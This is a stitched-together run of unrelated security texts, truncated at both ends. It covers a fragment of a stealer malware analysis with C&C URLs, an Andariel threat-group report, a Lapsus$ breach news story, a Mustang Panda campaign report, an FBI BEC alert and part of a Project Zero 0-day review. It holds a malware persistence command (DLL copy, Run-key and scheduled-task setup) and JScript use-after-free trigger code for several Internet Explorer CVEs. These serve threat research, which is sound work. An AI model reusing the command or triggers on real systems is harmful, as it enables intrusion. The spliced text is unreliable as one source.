well-known ALC/CRP third-party maxscripts. The response for the hxxp://175[.]197.40.61:3445/TYEHVSjn2Ny request leads us to a .net assembly (04715dd5b4e4e4e452d86f2c874ea9e6ad916f17838f116c8ab4ccfc7b9b6657) whose resource section contains a downloader, which obtains from the C&C (hxxp://175[.]197.40.61:3445/b route), other binaries. We were unable to obtain the responses directly from the C&C, but, based on some quite unique method names invoked by the downloader, we managed to obtain a binary (1c2f754045bc442cf5147dadccd1ff3c8e58205362e1940c3f1f87ab303006a5). This malicious file is capable of making screenshots, collecting passwords, and history from a Chrome browser database. This information is uploaded to the C&C, the same as in our case, strengthening the idea of being the one requested by the downloader. It is not uncommon in targeted attacks for the threat actors to test malicious files against the security solutions used by their victims, so that they can change them until the files are no longer detected. We have also identified a toolset that is described in the section below. We have chosen a representative file for each category, all the indicators of compromise being listed in the Appendix B section. ### Toolset Analysis Looking through the telemetry of the C&C, we noticed that there are reports, which include some of the discovered .net assembly internal names found initially on the victims’ machine or downloaded from the C&C. After analysis, we have managed to gather more tools, based on direct usage or based on common portions of code. Besides this, we have also noticed that all of them share the C&C address from the victim (address + port). #### HdCrawler **Representative binary:** a16b2c6a60975e4def1f799c69f7f38064653b5a99bc577fc008f0a808c7bc62 The binary’s role is to list, compress (if needed), and upload a list of specific files (searched by extension). Caution has been taken not to apply useless compression – if the file to be copied has the extension in this list: “.zip”, “.rar”, “.alz”, “.7z”, “.mp4”, “.flv”, “.webm”, “.webp”, “.jpg”, “.jpeg”, “.png”, “.avi”, “.mkv”, “.mp3”, “.mpeg”, “.mpg”, “.apk”, “.obb”, “.pur”, “.uasset” then the file is skipped from compression. There is an interesting aspect to this component – the list of files to be uploaded to the server is built into the binary, which means that, on the other side, the attackers look at the file listings from each of their victims and then compile a HdCrawler binary specific to the victim. While searching for more related samples and information, we found two “tools” that should be on the C&C side, used to control and manage the victims and the stolen information by processing the output of the HDCrawler: - LogViewer – a tool with a GUI that seems to be the one that shows the victims and the file listings from them - HddUnpacker - is used by LogViewer to decrypt and decompress the files uploaded by HdCrawler, the screenshots taken during the attack, the file listings, and the credentials stored in the Chrome browser #### InfoStealer **Representative binary:** 2b394c330949c85097f13eded38f08b358d399b7615bbe3659dd9d82ec82675c PhysXPluginStl.mse, 2d934a705638acd3fcb44f66a9a1633c27231550113f20df6061c10b1aa6e9f6 file mentioned before has the OriginalFilename set to B4E6HVVnCvY.dll. In our file repositories, we have found a file (2b394c330949c85097f13eded38f08b358d399b7615bbe3659dd9d82ec82675c) with OriginalFilename set to B4E6HVVnCvY.exe. There is high confidence that this sample is related, also because of the use of the same C&C. This binary has the following capabilities: - Rate-limiting - uses %LOCALAPPDATA%\Microsoft\Internet Explorer\MSWINSIG.DAT (in which it writes a timestamp) as a rate-limiting mechanism, to run at most once every three hours - Screen capture – makes whole screen capture and uploads it to the C&C server - Information collection – collects the username, computer name, the IP addresses of network adapters, Windows ProductName, version of the .NET Framework, information about the processors (number of cores, the speed and other information), total and free RAM, information about the storage, the listing of files set to start automatically when Windows starts up, process listing, and recent files; all this information is uploaded to the C&C server. - Tied to a specific user on the computer - uses %LOCALAPPDATA%\Microsoft\Internet Explorer\MSWINTAP.DAT – the first four bytes of it contain a hash on the computer name and username; that hash is checked before the content gets loaded; the remaining bytes are received from the C&C and are appended to the following HTTP request messages to the C&C. - It makes use of another file “tied” to the user (same hash as in the case of MSWINTAP.DAT) in %PROGRAMDATA%\Microsoft\Windows\Ringtones; we know it writes 11 characters in it, but its exact intention is yet to be discovered - %LOCALAPPDATA%\Microsoft\Internet Explorer\ie4uRidd.dat – it’s a .NET class (named internally TaskClass), serialized and encrypted, which represents a task for file listings; it contains a list of disk drives and specific directories that will be recursively listed from now on. This mechanism lets the attackers skip specific directories and disk drives completely and get back only information about the files they are most interested in. If this ie4uRidd.dat file is not present, then a directory listing of all files from B:, C:, D:, K: is sent to the C&C server (we couldn’t find out why these specific drives were chosen). ### Observations The authors took an interesting approach to avoid attracting attention. If Task Manager or Performance Monitor applications are running and their respective window is visible, then a flag is set, depending on how much of the area is visible to the user; this flag instructs the binary to sleep more and more often (reducing this way the consumption of CPU). An interesting library we could link to this whole toolkit is LibCredentials. We did not see it used anywhere in our telemetry. According to the class names, it’s responsible for collecting credentials from the current machine: browsers (Internet Explorer, Firefox, Chrome), Outlook, WLan credentials, and everything stored in Windows Vault. ### Command and Control Server The C&C belongs to AS4766 Korea Telekom, South Korea. Although Shodan suggests that there are many different ports on the C&C server (and most of those ports can be seen on other IPs too), we have only seen components that communicate to port 3445 and port 6711 (the latter is used by an FTP server, as can be seen in the HdCrawler binaries we found). ### Appendix A Details about ALC/CRP 3rd party maxscripts. ### Appendix B – IOCs **File Hashes:** - 04715dd5b4e4e4e452d86f2c874ea9e6ad916f17838f116c8ab4ccfc7b9b6657 - 1c2f754045bc442cf5147dadccd1ff3c8e58205362e1940c3f1f87ab303006a5 - A32f5e65051eb95d0ccdcc899d45f56369659a6edea068da5e59951f4c903f7b - C75fcb34a5b35b6b73191de3f342806d3cce5a446c64f55fb3423f0cd5dbe248 - 2d934a705638acd3fcb44f66a9a1633c27231550113f20df6061c10b1aa6e9f6 - d6ad1e0b11a620ed4df39255ffff11a483687d7038d6c76b938d15add54345fa - 2b394c330949c85097f13eded38f08b358d399b7615bbe3659dd9d82ec82675c - A16b2c6a60975e4def1f799c69f7f38064653b5a99bc577fc008f0a808c7bc62 - E16a5847ac62bb4d5a661863fd5dba5201d27784e280aeee25a34702ed4c1528 - C2f51b2c116bcc9c95dbf567a90ec4fe0f5fbddb066a6d3cdf814295838e00f8 - D3a38047c207dee4b09d607a568390306f76025cd6986ec3e7c3fbd21a231d0e - 37ea55d1dceb467c595299f0f19a68d5530015b6d9c7ed5cc16324f52773e536 - 711d45ff150aa734771fec1c08e394118a7bcd015dacac8889c965aeabfc7c9d - 07cebf1d377b9d28e53b7139a56e632e19c8f53e07546298f180322d462512e3 - 536ef8065ded253465d6a5a967dafdcb2d158a7ea3157f0b265788745ed38409 - 9e4ba32d42f26b7b3bb24ec786992ed017318a4074b2e141ad0f4a05435f4862 **File Names:** - PhysXPluginStl.mse - fixAll.mse - default.mse - %LOCALAPPDATA%\Microsoft\Internet Explorer\MSWINTAP.DAT - %LOCALAPPDATA%\Microsoft\Internet Explorer\MSWINSIG.DAT - %LOCALAPPDATA%\Microsoft\Internet Explorer\ie4uRidd.dat **URLs:** - hxxp://175.197.40[.]61:3445/eYOMAHg - hxxp://175.197.40[.]61:3445/YkSxBJVz - hxxp://175.197.40[.]61:3445/n - hxxp://175.197.40[.]61:3445/r - hxxp://175.197.40[.]61:3445/l - hxxp://175.197.40[.]61:3445/b - hxxp://175.197.40[.]61:3445/TYEHVSjn2Ny - hxxp://175.197.40[.]61:3445/grhL1wCYAhf - hxxp://175.197.40[.]61:3445/Public/Find_Alc - hxxp://175.197.40[.]61:3445//Public/Find_Crp - hxxp://175.197.40[.]61:3445/FRNuzqJIZyb - hxxp://175.197.40[.]61:3445/Public/fixAll - hxxp://175.197.40[.]61:3445/Public/NlWuLNUDzqM **C&C IP addresses:** - 175[.]197[.]40[.]61
# Targeted Attacks by Andariel Threat Group ## Overview The Andariel group is a subgroup of the Lazarus group that has been active since 2015. Andariel has a connection to the cyber-attack named Operation Black Mine that occurred in 2014 and 2015. However, Operation Black Mine is also associated with the attacks on the South Korean Military Agency in 2008 and the attacks against South Korean banks and broadcasters in 2013 (a.k.a DarkSeoul). The major targets of the Andariel Group include military agencies, defense industries, political organizations, security companies, ICT companies, energy research institutes, and financial targets such as ATMs, banks, travel agencies, cryptocurrency exchanges, and online gambling users. Their main methods of attack are spear phishing using macros, watering hole attacks exploiting Active-X vulnerabilities, vulnerability exploits on security and IT asset management systems, and supply chain attacks. The group makes use of well-known backdoors, such as Aryan and Gh0st RAT, but also uses self-developed backdoors, such as Andarat, Andaratm, Rifdoor, and Phandoor. Furthermore, this group appears to know the Korean language and its IT environment. This report examines the attacks by the Andariel Threat Group, including key methods, and changes in their purpose and targets. ## Attack Vectors (Infection Routes) The Andariel group uses a variety of attack techniques, particularly taking advantage of vulnerabilities in local software in South Korea. ### 1. Spear Phishing The Andariel group uses the spear phishing method by understanding their target and sending emails with an attachment that appears to be from a relevant, seemingly trustworthy source. The attachments contain macros that trick the targeted recipient into activating them. However, this method of inducing macro activation has become more devious after 2015. ### 2. Watering Hole (Active-X Vulnerability) The Andariel group also uses the watering hole technique, which compromises and injects exploit codes into a website. The targeted systems are infected with malware upon accessing the compromised website using a vulnerable web browser. These attacks limit infection to specific IP address ranges, making it much more difficult to identify the attack targets. ### 3. Central Management Solution Institutions and companies often manage multiple systems in their organizations by connecting them to a central management solution. The attacker identifies and analyzes the central management solution used by the target institution or company to find and exploit vulnerabilities. The attacks can be categorized into management server account attacks and vulnerability attacks on agents installed in the client. ### 4. Supply Chain Attack The Andariel group is also known for their attacks on supply chain vulnerabilities. The primary attack method includes incorporating malware in the software installer edition to infect the target via distribution from the official website and software updates. However, in some cases, the attack was not designed to infect all software users but only the specified target IP address. ## Attack Cases The initial targets of the Andariel group were military agencies and the defense industry in South Korea. In 2015, there was an attack on exhibitors in the Seoul International Aerospace & Defense Exhibition (ADEX). The attacker sent an email with an Excel or Word document containing macros, pretending to be the organizer of the event. The attached document was disguised as legitimate content, and malware was downloaded when the recipient opened the file and activated the macro. ### Major Attacks of the Andariel Group | Date | Attack Target | Attack Method | Malicious Act | |---------------|-------------------------------------|----------------------------------------|----------------------------------------------------| | July 2015 | Asset management solution | Unidentified | Stole digital certificates of the company | | November 2015 | ADEX exhibitors | Macro-based spear phishing | Unknown | | February 2016 | Security company | Security program vulnerability | Stole digital certificates of the company | | April 2016 | Defense industry, marine, and ICT | Vulnerability in central management | Unknown | | June 2016 | Mega-companies in the defense industry| Vulnerability in central management | Leakage of classified data | | August 2016 | Military agencies | Vulnerability in the vaccine program | Leakage of military data | | October 2016 | Online gamblers | Various utility installation files | Gambling game cheats | | January 2017 | Online gamblers | Vulnerability in the internet cafe | Leaking credit card information | | March 2017 | ATM manufacturer and ATMs | Vulnerability in the vaccine program | Replicating the card overseas | | April 2017 | Energy research center | Unidentified | At least 2 confirmed attacked attempts | | June 2017 | Financial industry | Spear phishing (macro) | Leakage of customers’ personal information | | October 2017 | Travel agency A | Vulnerability in central management | Leakage of personal information | | December 2017 | Cryptocurrency Exchange | Remote support installation file | Users download a malicious file | | February 2018 | Cryptocurrency Exchange | Macro-based emails | Impersonating the national assembly member's office | ## Malware and Attack Tools ### 1. Malware – Backdoor The Andariel group uses in-house advanced malware, such as Andarat, Andaratm, Phandoor, and Rifdoor, as well as other well-known malware, such as Aryan and Gh0st RAT. #### 1.1) Aryan Aryan was detected in 2015 and is characterized by the string "F**k Hack Hound." #### 1.2) Gh0st RAT Gh0st RAT is a backdoor made in China, and its source codes are publicly available. The Andariel group used this malware for attacks from 2015 to 2016. #### 1.3) Rifdoor Rifdoor was first discovered in November 2015 and was used in attacks on ADEX exhibitors in 2015. #### 1.4) Phandoor Phandoor was used from January 2016 to the summer of 2017. It is characterized by having the string "S^%" before the main character strings. #### 1.5) Andaratm Andaratm malware was used in attacks on military agencies in 2016, on ATMs and financial institutions in 2017, and on cryptocurrency exchanges in 2018. ### 2. Attack Tools The attacker uses various tools, such as Putty Link and port scanner, which are used for communication. A tool was also used to check the IP and port with file names like pcon.exe, portc.exe, and zcon.exe. ## Similarities in Multiple Attack Cases The Andariel group has launched many attacks using a variety of malware. Results from the detailed analysis show that the Andariel group and Operation Black Mine take similar attack methods, suggesting an association between the two. ## AhnLab’s Response V3, AhnLab’s anti-malware product, has detected malware related to the Andariel group under various aliases. ## Conclusion The Andariel Group is one of the most active threat groups in South Korea. In the early days, most attacks were designed to steal military information. Since the end of 2016, however, attacks have also been made for monetary gain. The group is well aware of the Korean IT environment, and their attacks exploiting vulnerabilities in software used by the target can cause significant damage throughout organizations. Strengthened security management is required, particularly for the management server of central management solutions.
# Microsoft Confirms They Were Hacked by Lapsus$ Extortion Group Microsoft has confirmed that one of their employees was compromised by the Lapsus$ hacking group, allowing the threat actors to access and steal portions of their source code. Last night, the Lapsus$ gang released 37GB of source code stolen from Microsoft's Azure DevOps server. The source code is for various internal Microsoft projects, including for Bing, Cortana, and Bing Maps. In a new blog post published tonight, Microsoft has confirmed that one of their employee's accounts was compromised by Lapsus$, providing limited access to source code repositories. "No customer code or data was involved in the observed activities. Our investigation has found a single account had been compromised, granting limited access. Our cybersecurity response teams quickly engaged to remediate the compromised account and prevent further activity," explained Microsoft in an advisory about the Lapsus$ threat actors. "Microsoft does not rely on the secrecy of code as a security measure and viewing source code does not lead to elevation of risk. The tactics DEV-0537 used in this intrusion reflect the tactics and techniques discussed in this blog." "Our team was already investigating the compromised account based on threat intelligence when the actor publicly disclosed their intrusion. This public disclosure escalated our action allowing our team to intervene and interrupt the actor mid-operation, limiting broader impact." While Microsoft has not shared how the account was compromised, they provided a general overview of the Lapsus gang's tactics, techniques, and procedures (TTPs) observed across multiple attacks. ## Focusing on Compromised Credentials Microsoft is tracking the Lapsus$ data extortion group as 'DEV-0537' and says they primarily focus on obtaining compromised credentials for initial access to corporate networks. These credentials are obtained using the following methods: - Deploying the malicious Redline password stealer to obtain passwords and session tokens - Purchasing credentials and session tokens on criminal underground forums - Paying employees at targeted organizations (or suppliers/business partners) for access to credentials and multi-factor authentication (MFA) approval - Searching public code repositories for exposed credentials Redline password stealer has become the malware of choice for stealing credentials and is commonly distributed through phishing emails, watering holes, warez sites, and YouTube videos. Once Lapsus$ gains access to compromised credentials, they use it to log in to a company's public-facing devices and systems, including VPNs, Virtual Desktop infrastructure, or identity management services, such as Okta, which they breached in January. Microsoft says they use session replay attacks for accounts that utilize MFA, or continuously trigger MFA notifications until the user becomes tired of them and confirms that the user should be allowed to log in. Microsoft says that in at least one attack, Lapsus$ performed a SIM swap attack to gain control of the user's phone numbers and SMS texts to gain access to MFA codes needed to log in to an account. Once they gain access to a network, the threat actors use AD Explorer to find accounts with higher privileges and then target development and collaboration platforms, such as SharePoint, Confluence, JIRA, Slack, and Microsoft Teams, where other credentials are stolen. The hacking group also uses these credentials to gain access to source code repositories on GitLab, GitHub, and Azure DevOps, as we saw with the attack on Microsoft. "DEV-0537 is also known to exploit vulnerabilities in Confluence, JIRA, and GitLab for privilege escalation," Microsoft explains in their report. "The group compromised the servers running these applications to get the credentials of a privileged account or run in the context of the said account and dump credentials from there." The threat actors will then harvest valuable data and exfiltrate it over NordVPN connections to hide their locations while performing destructive attacks on the victims' infrastructure to trigger incident response procedures. The threat actors then monitor these procedures through the victim's Slack or Microsoft Teams channels. ## Protecting Against Lapsus$ Microsoft recommends that corporate entities perform the following steps to protect against threat actors like Lapsus$: - Strengthen MFA implementation - Require Healthy and Trusted Endpoints - Leverage modern authentication options for VPNs - Strengthen and monitor your cloud security posture - Improve awareness of social engineering attacks - Establish operational security processes in response to DEV-0537 intrusions Lapsus$ has recently conducted numerous attacks against the enterprise, including those against NVIDIA, Samsung, Vodafone, Ubisoft, Mercado Libre, and now Microsoft. Therefore, it is strongly advised that security and network admins become familiar with the tactics used by this group by reading Microsoft's report.
# New Mustang Panda’s Campaign Against Australia AUKUS (Australia-United Kingdom-United States) is a strategic military alliance between these territories that became a reality in 2021, whose main objective is to build nuclear-powered submarines to counter the threat from China in the Indo-Pacific region. This agreement also includes the sharing of cyber capabilities and other submarine technologies. Some sources point out that this is not a security pact, but is rather intended to “elevate the intelligence and deterrence value of conventional capabilities”. The key facts of this alliance are as follows: - The US pledged to invest $4.6 billion in the deal. Australia, for its part, will buy at least three second-hand submarines from the US early in the next decade. However, the US Congress has yet to approve this transaction. In addition, Australia will build a fleet of eight nuclear submarines. The first of these is expected to be ready in 2042. - This partnership has upset both France and China. Australia will terminate the contract awarded to France to build 12 diesel-electric submarines. The importance of these submarines is reflected in their capabilities: compared to traditional submarines, they have a longer range, are harder to detect, can remain submerged for months and have a greater carrying capacity. However, they are larger, which is why nuclear submarines are more vulnerable to attack from the surface. - Last year, China called the deal “destabilising” and “provocative”. Mao Ning, spokesperson for China’s Foreign Ministry, said at a press conference on 9th March that Australia is contributing to the proliferation of nuclear weapons, is promoting an arms race and that this agreement only destabilises the Asia-Pacific region. In addition, China issued the following threat: “Australian troops are also more likely to be the first group of Western soldiers to waste their lives in the South China Sea”. The Lab52 team has already detected the possibility that actors associated with China, especially Mustang Panda, could carry out attacks against the Australian government, notifying its clients. Lab52 has found a zip file named Biography of Senator the Hon Don Farrell.zip. Hon Don Farrell is the current Australian Secretary of State for Trade and Tourism, indicating a targeted campaign against Australia. The zip drops two files. On the one hand, the legitimate application for process pdf files Solid PDF Creator, renamed as “Biography of Senator the Hon Don Farrell/Biography of Senator the Hon Don Farrell.exe”, on the other hand, we have seen a malicious payload named SolidPDFCreator.dll. Persistence is done through a Dll Side Loading by the stager. ``` C:\Windows\SysWOW64\cmd.exe /C copy SolidPDFCreator.dll C:\Users\Public\Libraries\PhotoTvRHD\SolidPDFCreator.dll & reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” /v SolidPDF /t reg_sz /d “C:\Users\Public\Libraries\PhotoTvRHD\SolidPDFCreator.exe” /F & schtasks /F /Create /TN SolidPDF /SC minute /MO 1 /TR C:\Users\Public\Libraries\PhotoTvRHD\SolidPDFCreator.exe ``` After that, the stager tries to impersonate common Microsoft update communications, hardcoding a legitimate host header www.asia.microsoft.com, which, in fact, is requesting against 123.253.35[.]231. It is worth noting that it does not download the PlugX malware in the first instance, as usual, but, similar to what has been reported previously by Talos Intelligence or Cisco, it uses a custom-developed stager, subsequently providing the attacker with a reverse shell for a PlugX deployment. As can be seen, China has developed cyber capabilities that allow it to respond quickly to any geopolitical event that might affect its interests. The AUKUS treaty has been a regional destabilisation for China, and more campaigns are expected to continue to target Australia. Lab52 highlights how tracking and monitoring events in international relations allows us to understand the motivations of key actor-states. ## IOC - 123.253.35[.]231 - 4fbfbf1cd2efaef1906f0bd2195281b77619b9948e829b4d53bf1f198ba81dc5 - e2acbc36c2cce4050e34033c12f766fea58b4196d84cf40e979fac8fed24c942 - 3c4671b4a0c3e7da186bd356e07cf0daca7267addde668044b1ded42c6dbe09b - 5dde3bca0e5319c62d547bd0c37e621f2050598a347447bde832a9fc37efd97d - 167a842b97d0434f20e0cd6cf73d07079255a743d26606b94fc785a0f3c6736e - 41276827827b95c9b5a9fbd198b7cff2aef6f90f2b2b3ea84fadb69c55efa171 - f8e6b2e537325d6775d35755c8fe19ef89b27e1a7aba183490fbcbf2d52c15f4
# Rise In Use of Cryptocurrency In Business Email Compromise Schemes **Alert Number:** I-041321-PSA **Date:** April 13, 2021 Business Email Compromise/Email Account Compromise (BEC/EAC) is a sophisticated scam that targets both businesses and individuals who perform legitimate transfer-of-funds requests. The scam is frequently carried out when an individual compromises legitimate business or personal email accounts through social engineering or computer intrusion to conduct unauthorized transfers of funds. The IC3 has received an increased number of BEC complaints involving the use of cryptocurrency. Cryptocurrency is a form of virtual asset that uses cryptography to secure financial transactions and is popular among illicit actors due to the high degree of anonymity associated with it and the speed at which transactions occur. Two iterations of BEC scenarios have been identified through IC3 complaint information: a direct transfer to a cryptocurrency exchange (CE) or a "second hop" transfer to a CE. In both situations, the victim is unaware that the funds are being sent to be converted to cryptocurrency. A CE is an entity in the business of exchanging fiat currency to cryptocurrency. CEs routinely hold custodial accounts with traditional financial institutions (FIs) that are used for easy trading/exchanging for customers. ## Direct Transfer This iteration of the BEC/Cryptocurrency scam mirrors the traditional pattern of BEC incidents in the past. The victim entity will receive a spoofed or otherwise compromised email that contains doctored wire instructions provided by the bad actor; however, since the requested transfer is directed to a traditional financial institution (where the CE has a custodial account), it is not easily identified by the victim. ## Second Hop Transfer This iteration of the BEC/Cryptocurrency scam uses victims of other cyber-enabled scams such as Extortion, Tech Support, and Romance Scams. Often, these individuals provided copies of identifying documents such as driver's licenses, passports, etc., that are used to open cryptocurrency wallets in their names. Once received by the scammer, the victim's bank account can be used to receive BEC funds that are then instructed to transfer to a CE custodial account or even directly to the exchange itself. While the use of cryptocurrency is regularly reported in other crime types seen at the IC3 (e.g., tech support, ransomware, employment), it was not identified in BEC-specific crimes until 2018, and even then, at minimal numbers. By 2019, reports had increased, culminating in the highest numbers to-date in 2020. Based on the data received, the IC3 expects this trend to continue into 2021. Similar to the classic BEC scams that IC3 has been tracking since 2013, the average dollar loss associated with these incidents is much higher than other forms of fraud reported to the IC3; however, smaller transactions are not immune to the scheme. The annual reported loss associated with these incidents has climbed steadily since the first reported in 2018, topping $10M in 2020. ## Suggestions For Protection - Use secondary channels or two-factor authentication to verify requests for changes in account information. - Ensure the URL in emails is associated with the business/individual it claims to be from. - Be alert to hyperlinks that may contain misspellings of the actual domain name. - Refrain from supplying login credentials or PII of any sort via email. Be aware that many emails requesting your personal information may appear to be legitimate. - Verify the email address used to send emails, especially when using a mobile or handheld device, by ensuring the sender's address appears to match who it is coming from. - Ensure the settings in employees' computers are enabled to allow full email extensions to be viewed. - Monitor your personal financial accounts on a regular basis for irregularities, such as missing deposits. If you discover you are the victim of a fraud incident, immediately contact your financial institution to request a recall of funds. Regardless of the amount lost, file a complaint with www.ic3.gov or, for BEC/EAC victims, BEC.ic3.gov, as soon as possible.
# Déjà vu-lnerability ## A Year in Review of 0-days Exploited In-The-Wild in 2020 Posted by Maddie Stone, Project Zero 2020 was a year full of 0-day exploits. Many of the Internet’s most popular browsers had their moment in the spotlight. Memory corruption is still the name of the game and how the vast majority of detected 0-days are getting in. While we tried new methods of 0-day detection with modest success, 2020 showed us that there is still a long way to go in detecting these 0-day exploits in-the-wild. But what may be the most notable fact is that 25% of the 0-days detected in 2020 are closely related to previously publicly disclosed vulnerabilities. In other words, 1 out of every 4 detected 0-day exploits could potentially have been avoided if a more thorough investigation and patching effort were explored. Across the industry, incomplete patches — patches that don’t correctly and comprehensively fix the root cause of a vulnerability — allow attackers to use 0-days against users with less effort. Since mid-2019, Project Zero has dedicated an effort specifically to track, analyze, and learn from 0-days that are actively exploited in-the-wild. For the last 6 years, Project Zero’s mission has been to “make 0-day hard.” From that came the goal of our in-the-wild program: “Learn from 0-days exploited in-the-wild in order to make 0-day hard.” In order to ensure our work is actually making it harder to exploit 0-days, we need to understand how 0-days are actually being used. Continuously pushing forward the public’s understanding of 0-day exploitation is only helpful when it doesn’t diverge from the “private state-of-the-art,” what attackers are doing and are capable of. Over the last 18 months, we’ve learned a lot about the active exploitation of 0-days and our work has matured and evolved with it. For the 2nd year in a row, we’re publishing a “Year in Review” report of the previous year’s detected 0-day exploits. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you’re interested in each individual exploit’s analysis, please check out our root cause analyses. When looking at the 24 0-days detected in-the-wild in 2020, there’s an undeniable conclusion: increasing investment in correct and comprehensive patches is a huge opportunity for our industry to impact attackers using 0-days. A correct patch is one that fixes a bug with complete accuracy, meaning the patch no longer allows any exploitation of the vulnerability. A comprehensive patch applies that fix everywhere that it needs to be applied, covering all of the variants. We consider a patch to be complete only when it is both correct and comprehensive. When exploiting a single vulnerability or bug, there are often multiple ways to trigger the vulnerability, or multiple paths to access it. Many times we’re seeing vendors block only the path that is shown in the proof-of-concept or exploit sample, rather than fixing the vulnerability as a whole, which would block all of the paths. Similarly, security researchers are often reporting bugs without following up on how the patch works and exploring related attacks. While the idea that incomplete patches are making it easier for attackers to exploit 0-days may be uncomfortable, the converse of this conclusion can give us hope. We have a clear path toward making 0-days harder. If more vulnerabilities are patched correctly and comprehensively, it will be harder for attackers to exploit 0-days. ## This vulnerability looks familiar 🤔 As stated in the introduction, 2020 included 0-day exploits that are similar to ones we’ve seen before. 6 of 24 0-days exploits detected in-the-wild are closely related to publicly disclosed vulnerabilities. Some of these 0-day exploits only had to change a line or two of code to have a new working 0-day exploit. This section explains how each of these 6 actively exploited 0-days are related to a previously seen vulnerability. We’re taking the time to detail each and show the minimal differences between the vulnerabilities to demonstrate that once you understand one of the vulnerabilities, it’s much easier to then exploit another. | Product | Vulnerability exploited in-the-wild | Variant of... | |-------------------------------------------|-------------------------------------|----------------------------------------| | Microsoft Internet Explorer | CVE-2020-0674 | CVE-2018-8653, CVE-2019-1367, CVE-2019-1429 | | Mozilla Firefox | CVE-2020-6820 | Mozilla Bug 1507180 | | Google Chrome | CVE-2020-6572 | CVE-2019-5870, CVE-2019-13695 | | Microsoft Windows | CVE-2020-0986 | CVE-2019-0880 | | Google Chrome/Freetype | CVE-2020-15999 | CVE-2014-9665 | | Apple Safari | CVE-2020-27930 | CVE-2015-0093 | ### Internet Explorer JScript CVE-2020-0674 CVE-2020-0674 is the fourth vulnerability that’s been exploited in this bug class in 2 years. The other three vulnerabilities are CVE-2018-8653, CVE-2019-1367, and CVE-2019-1429. In the 2019 year-in-review we devoted a section to these vulnerabilities. Google’s Threat Analysis Group attributed all four exploits to the same threat actor. It bears repeating, the same actor exploited similar vulnerabilities four separate times. For all four exploits, the attacker used the same vulnerability type and the same exact exploitation method. Fixing these vulnerabilities comprehensively the first time would have caused attackers to work harder or find new 0-days. JScript is the legacy Javascript engine in Internet Explorer. While it’s legacy, by default it is still enabled in Internet Explorer 11, which is a built-in feature of Windows 10 computers. The bug class, or type of vulnerability, is that a specific JScript object, a variable (uses the VAR struct), is not tracked by the garbage collector. I’ve included the code to trigger each of the four vulnerabilities below to demonstrate how similar they are. Ivan Fratric from Project Zero wrote all of the included code that triggers the four vulnerabilities. ```javascript var objs = new Array(); var refs = new Array(); var dummyObj = new Object(); function getFreeRef() { for (var i = 0; i < 10000; i++) { objs[i] = 1; } CollectGarbage(); for (var i = 0; i < 200; i++) { refs[i].prototype = 1; } CollectGarbage(); alert(this); } for (var i = 0; i < 200; i++) { var arr = new Array({ prototype: {} }); var e = new Enumerator(arr); refs[i] = e.item(); } for (var i = 0; i < 10000; i++) { objs[i] = new Object(); } for (var i = 0; i < 200; i++) { refs[i].prototype = {}; refs[i].prototype.isPrototypeOf = getFreeRef; } dummyObj instanceof refs[100]; ``` ### CVE-2019-1367 In September 2019, CVE-2019-1367 was detected as exploited in-the-wild. This is the same vulnerability type as CVE-2018-8653: a JScript variable object is not tracked by the garbage collector. This time though the variables that are not tracked are in the arguments array in the Array.sort callback. ```javascript var spray = new Array(); function F() { for (var i = 0; i < 20000; i++) spray[i] = new Object(); arguments[0] = spray[5000]; for (var i = 0; i < 20000; i++) spray[i] = 1; CollectGarbage(); alert(arguments[0]); } [1,2].sort(F); ``` ### CVE-2019-1429 The CVE-2019-1367 patch did not actually fix the vulnerability triggered by the proof-of-concept above and exploited in the in-the-wild. The proof-of-concept for CVE-2019-1367 still worked even after the CVE-2019-1367 patch was applied! In November 2019, Microsoft released another patch to address this gap. CVE-2019-1429 addressed the shortcomings of the CVE-2019-1367 and also fixed a variant. The variant is that the variables in the arguments array are not tracked by the garbage collector in the toJson callback rather than the Array.sort callback. The only difference between the variant triggers is the highlighted lines. Instead of calling the Array.sort callback, we call the toJSON callback. ```javascript var spray = new Array(); function F() { for (var i = 0; i < 20000; i++) spray[i] = new Object(); arguments[0] = spray[5000]; for (var i = 0; i < 20000; i++) spray[i] = 1; CollectGarbage(); alert(arguments[0]); } var o = {toJSON:F} JSON.stringify(o); ``` ### CVE-2020-0674 In January 2020, CVE-2020-0674 was detected as exploited in-the-wild. The vulnerability is that the named arguments are not tracked by the garbage collector in the Array.sort callback. The only changes required to the trigger for CVE-2019-1367 is to change the references to arguments[] to one of the arguments named in the function definition. For example, we replaced any instances of arguments[0] with arg1. ```javascript var spray = new Array(); function F(arg1, arg2) { for (var i = 0; i < 20000; i++) spray[i] = new Object(); arg1 = spray[5000]; for (var i = 0; i < 20000; i++) spray[i] = 1; CollectGarbage(); alert(arg1); } [1,2].sort(F); ``` ### CVE-2020-0968 Unfortunately, CVE-2020-0674 was not the end of this story, even though it was the fourth vulnerability of this type to be exploited in-the-wild. In April 2020, Microsoft patched CVE-2020-0968, another Internet Explorer JScript vulnerability. When the bulletin was first released, it was designated as exploited in-the-wild, but the following day, Microsoft changed this field to say it was not exploited in-the-wild. ```javascript var spray = new Array(); function f1() { alert('callback 1'); return spray[6000]; } function f2() { alert('callback 2'); spray = null; CollectGarbage(); return 'a' } function boom() { var e = o1; var d = o2; var b = e + d; alert(b); } var o1 = { toString: f1 }; var o2 = { toString: f2 }; for (var a = 0; a < 20000; a++) { spray[a] = "aaa"; } boom(); ``` In addition to the vulnerabilities themselves being very similar, the attacker used the same exploit method for each of the four 0-day exploits. This provided a type of “plug and play” quality to their 0-day development which would have reduced the amount of work required for each new 0-day exploit. ### Firefox CVE-2020-6820 Mozilla patched CVE-2020-6820 in Firefox with an out-of-band security update in April 2020. It is a use-after-free in the Cache subsystem. CVE-2020-6820 is a use-after-free of the CacheStreamControlParent when closing its last open read stream. The read stream is the response returned to the context process from a cache query. If the close or abort command is received while any read streams are still open, it triggers StreamList::CloseAll. If the StreamControl still has ReadStreams when StreamList::CloseAll is called, then this will cause the CacheStreamControlParent to be freed. The mId member of the CacheStreamControl parent is then subsequently accessed, causing the use-after-free. ### Chrome for Android CVE-2020-6572 CVE-2020-6572 is use-after-free in MediaCodecAudioDecoder::~MediaCodecAudioDecoder(). This is Android-specific code that uses Android's media decoding APIs to support playback of DRM-protected media on Android. The root of this use-after-free is that a `unique_ptr` is assigned to another, going out of scope which means it can be deleted, while at the same time a raw pointer from the originally referenced object isn't updated. ### Windows splwow64 CVE-2020-0986 CVE-2020-0986 is an arbitrary pointer dereference in Windows splwow64. Splwow64 is executed any time a 32-bit application wants to print a document. It runs as a Medium integrity process. Internet Explorer runs as a 32-bit application and a Low integrity process. Internet 